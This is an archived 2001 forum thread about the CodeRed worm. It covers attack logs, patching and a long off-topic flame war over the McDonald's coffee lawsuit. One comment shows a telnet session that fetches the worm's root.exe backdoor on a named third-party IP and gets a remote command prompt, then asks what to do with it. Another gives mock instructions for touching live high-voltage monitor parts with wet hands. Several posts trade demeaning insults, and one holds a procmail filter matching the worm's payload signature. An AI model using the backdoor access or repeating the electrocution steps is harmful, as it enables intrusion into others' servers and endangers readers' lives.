  82. List of CodeRed IPs here by leonbrooks · · Score: 3, Informative
    This sorted list (updated hourly) are the IPs for CodeRed attacks on a single IP address in Western Australia.

    Last week: 92

    Last 32 hours: 196 (175 unique addresses)

    Looks like it's concrete bunker time soon... )-:

    --
    Got time? Spend some of it coding or testing
  83. Microsoft Internet Pollution - My Server Log! by BigBlockMopar · · Score: 2

    Microsoft's products spew pollution into the information space like a burning mountain of tires.

    For sure! Take a look at my webserver (which pioneers the great new feature of a "Log File Chat Room" (tm 2001 Lawrence Wade)).

    This new variant seems to have been especially active, it's eating up a lot of my bandwidth. Last time, my IP address wasn't getting scanned as much as many other people I spoke with; I'm wondering if this one includes a better random number seed. I'm also seeing IIS victims from my ISP.

    Also, I wonder if a disclaimer stating that infected IIS servers are not allowed to visit my website would be sufficient to work towards suing Microsoft for their ongoing gross negligence and complicity causing material and financial damage.

    --
    Fire and Meat. Yummy.
  84. Better procmail filter! by BigBlockMopar · · Score: 2

    :0 B
    * > 100000
    * mDmcOaA5pDmoOaw5sDnAOeA56DnsOfA59Dn4Ofw5ADoEOgg6HD o8OkQ6SD
    /dev/null

    Okay. Forgive me if the syntax is off, I've never had to play with procmail filters. But it strikes me that this one would be significantly more useful:

    :0 B
    * X-mailer=Outlook
    /dev/null

    :)

    --
    Fire and Meat. Yummy.
  85. What do you do with that command prompt? by fanatic · · Score: 2
    telnet 216.227.114.45 80
    Trying 216.227.114.45...
    Connected to 216.227.114.45.
    Escape character is '^]'.
    GET /scripts/root.exe HTTP/1.0

    HTTP/1.1 200 OK
    Server: Microsoft-IIS/4.0
    Date: Mon, 06 Aug 2001 03:23:07 GMT
    Content-Type: application/octet-stream
    Microsoft(R) Windows NT(TM)
    (C) Copyright 1985-1996 Microsoft Corp.

    C:\InetPub\scripts>

    So now that I've got this, what do I do? Entering commands (such as 'dir') hangs.
    --
    "that's not encryption - it's a new perl script that I'm working on..." - from some Matrix parody
  86. Re:Why do people still use Outlook? by BigBlockMopar · · Score: 2

    Yelling, "There should be a law!" just makes you look like a dumb liberal that needs the government to protect him from himself.

    For sure, and such a law would stifle innovation far more than Microsoft has. Imagine the liability in releasing a beta (or... gasp! an alpha) version?

    Now, I think there have to be other ways to go after Microsloth, more than legislation. What's needed is a judge - perhaps one as braindead as the one who awarded millions to the dumb woman who spilled coffee on her lap - who can be used to our advantage in a class-action lawsuit from all victims of the default-dangerous Microsoft machines in the field.

    --
    Fire and Meat. Yummy.
  87. You think McDonalds is *wrong* to make hot coffee? by BigBlockMopar · · Score: 2

    The McDonals coffee case judge was not braindead. get teh facts straight, they have been mentioned even here hundreds of times already. The coffee was hot enough to cause severe burns on contact, and McD knew it was so and they still sold the coffee at such temperature.

    You're kidding, right? I think you are, but I'm not sure. Okay. Well, I'll treat my response as if you're serious.

    I worked at a McDonalds, aeons ago, when I was in high school. Like, 1991. Probably when you were still in kindergarten.

    I worked there for four years. My first year, it was hell, I was minimum wage scum, but McDonalds is like the army: you get out of it exactly what you put into it.

    Well, I was nice with everyone, and I always arrived on time, and I always worked hard. And I was quickly awarded Employee of the Month. Less than a week after that, I was asked to come in for a staff meeting. I thought I was in trouble for something. All the managers sat me down very seriously, and asked me if I knew why I was there. They passed me a package and told me to sign for its receipt. I did, then I opened the package. It was a manager's uniform with my name on the little gold tag.

    I got to know a lot about McDonalds and its customers in the 3 years that followed. It was, believe it or not, a great job and I made a lot of friends working at McDonalds with whom I'm still in touch.

    As a part time ("Swing") manager, I got to help ensure that the restaurant ran smoothely. Ordering supplies, ensuring the staff have everything they need, resolving conflicts, assuring quality control, and dealing with customer complaints.

    One of the most common customer complaints was that the coffee was too cold. And yet, as part of my quality control role, I was responsible for ensuring that the temperatures on every cooking appliance were correct when I started my shift. The coffee, at the time, was to be kept at 85C.

    Now, of course, since some slovenly white trash got rich because of her own stupidity, I'm sure the customer complaints about cold coffee are even more common. From what I understand, the coffee is to be kept at 73C now.

    Of course it's hot. Coffee is supposed to be hot. Next thing is people will start suing over Eskimo Pie migraines they get when they drink their cold Coke too quickly.

    GM recently got sued for several billion dollars. It was Christmas Eve in about 1995 when this tragedy occured. A family was riding along in their 1978 Chevy Malibu (already an old car). They were stopped at a red light, and a drunk driver hit them from behind. The car's gas tank exploded, and while the family were all concious and relatively unhurt, when they got out, one of the kids had third degree burns to his leg. So they sued GM for faulty fuel tank design.

    Now, one thing about this case that terrifies me is that this was a 17-year-old car at the time of the accident. Who knows what nature of wear had been experienced? Rusted out gas tank? For all we know, this car shouldn't have been on the road to begin with.

    The other thing that terrifies me is that the jury wasn't allowed to hear how fast the vehicle that rear-ended them was travelling. Remember, they were stopped at a traffic light. They were hit by a drunk driver in a full-size pickup truck travelling at 75MPH. Approximately 120km/h.

    Changes things a little, doesn't it? How survivable is that accident?

    Rather than suing GM because a 17 year old car blew up when it was rear-ended by a 4,000lb mass travelling at 75MPH, I think I'd be writing a letter to GM to thank them for the fact that despite such a horrific accident, I still had both my kids.

    Your remark suggests a tacit support of the excessive litigation against businesses. My wish upon you is that you mortgage your house, open a business, and get sued by someone who gets a paper cut off your first invoice.

    --
    Fire and Meat. Yummy.
  88. Non-English sites seem to be at more risk by leonbrooks · · Score: 2
    patch is available, MS patches known to cause other issues, we hear it

    A disproportionate number of the hits on my (Australian) web servers [sources] are from asian countries, leading me to suspect that perhaps the non-English versions of the patch and/or some of the prerequisite Service Packs were released late and/or not as well publicised.

    If I was forced to ride shotgun on one of these security sieves, I'd be checking for patches twice daily. And I'd have the sucker behind a non-M$ reverse proxy.

    --
    Got time? Spend some of it coding or testing
  89. Disinfection is hard, need service packs by leonbrooks · · Score: 2
    Extra credit: Disinfect the machine with the security patch from the MS Web Site.

    Not so easy, the right service packs appear to be required first. So your little proggie would first have to determine what was needed, second download and install it all, then finally clean off the rootshell.

    --
    Got time? Spend some of it coding or testing
  90. Re:You think McDonalds is *wrong* to make hot coff by BigBlockMopar · · Score: 2

    I don't care what temperature you set it to when YOU worked at mcdonalds, dumbass. The woman got THIRD DEGREE burns. That is TOO HOT for coffee. Idiot.

    Yeah. So, she's apparently not intelligent enough to be trusted with coffee, or tea, or hot chocolate... I'd also draw the line at giving her a driver's license. In fact, I'd legislate that people like her should have to wear helmets everywhere they go.

    I can't drink coffee at 73C, let alone 85C. But I also know that at 85C, people complain that the coffee is too cold. Those are the edicts from McDonalds, not the temperature at which I independently chose to set the Bunn's thermostat.

    So? I carefully put my coffee aside and let it cool.

    As for the third degree burns, you can get third degree burns from something that is a mere 50C. Note that is the temperature to which most hot water heaters are set. Are you therefore a proponent of a law requiring everyone to turn down their hot water heaters to 37C so that they can't burn people? Heck, there are lots of other things that can burn you. If you're stupid, take the back cover off your monitor. Right at the back of the picture tube's neck, you'll find that there is an area of glass heated by radiant heat leaving the cathodes. Rest your finger there and see how many yucks you have. Let's ban monitors because they can hurt people. Let's ban stoves because a child could turn on a burner and scorch himself. Let's ban cars because the radiator gets warm. Of course, we can't let people have bicycles, either, there are many ways to get hurt on *those*, least of which being the elevated temperature of the brake pads after stopping.

    You, sir, like the bovine hausfrau who was too stupid to ensure that her coffee didn't spill on her lap, are the idiot. If I were President, I'd find you and your peers a nice little padded cell somewhere so that you may avoid any sort of risk or personal responsibility for your activities.

    And, PS. While you're in the monitor, look for the big coils of wire around the funnel of the tube. Okay. Find the wires that go to the area of the big plastic block and the big red wire that goes to the suction cup on the back of the tube. Now, this is very important... turn on the monitor and lick your hands. Touch the sheetmetal shielding inside the monitor with your left hand. With your right hand, simultaneously touch the solder connection where the horizontal deflection voltage leaves the PC board (near the big plastic box, remember). Feeling warm yet? If your skin isn't on fire within a few seconds, you didn't follow the instructions right.

    --
    Fire and Meat. Yummy.
  91. Re:You think McDonalds is *wrong* to make hot coff by BigBlockMopar · · Score: 2

    If your coffee is too hot, add an ice cube or let it cool off. If your coffee is too cold, you curse McDonalds for making cold coffee. Coffee is supposed to be hot. Most domestic coffee brewers percolate boiling water up; the steam condenses and drips into the filter basket, and enters the pot at a temperature very close to boiling. No one sues Mr. Coffee or Black and Decker.

    Anyhow, as you simultaneously manage to frustrate and bore me, this thread is now extinct. Maybe once you can shave daily and manage to become remotely cosmopolitan, your perspective will adjust somewhat.

    --
    Fire and Meat. Yummy.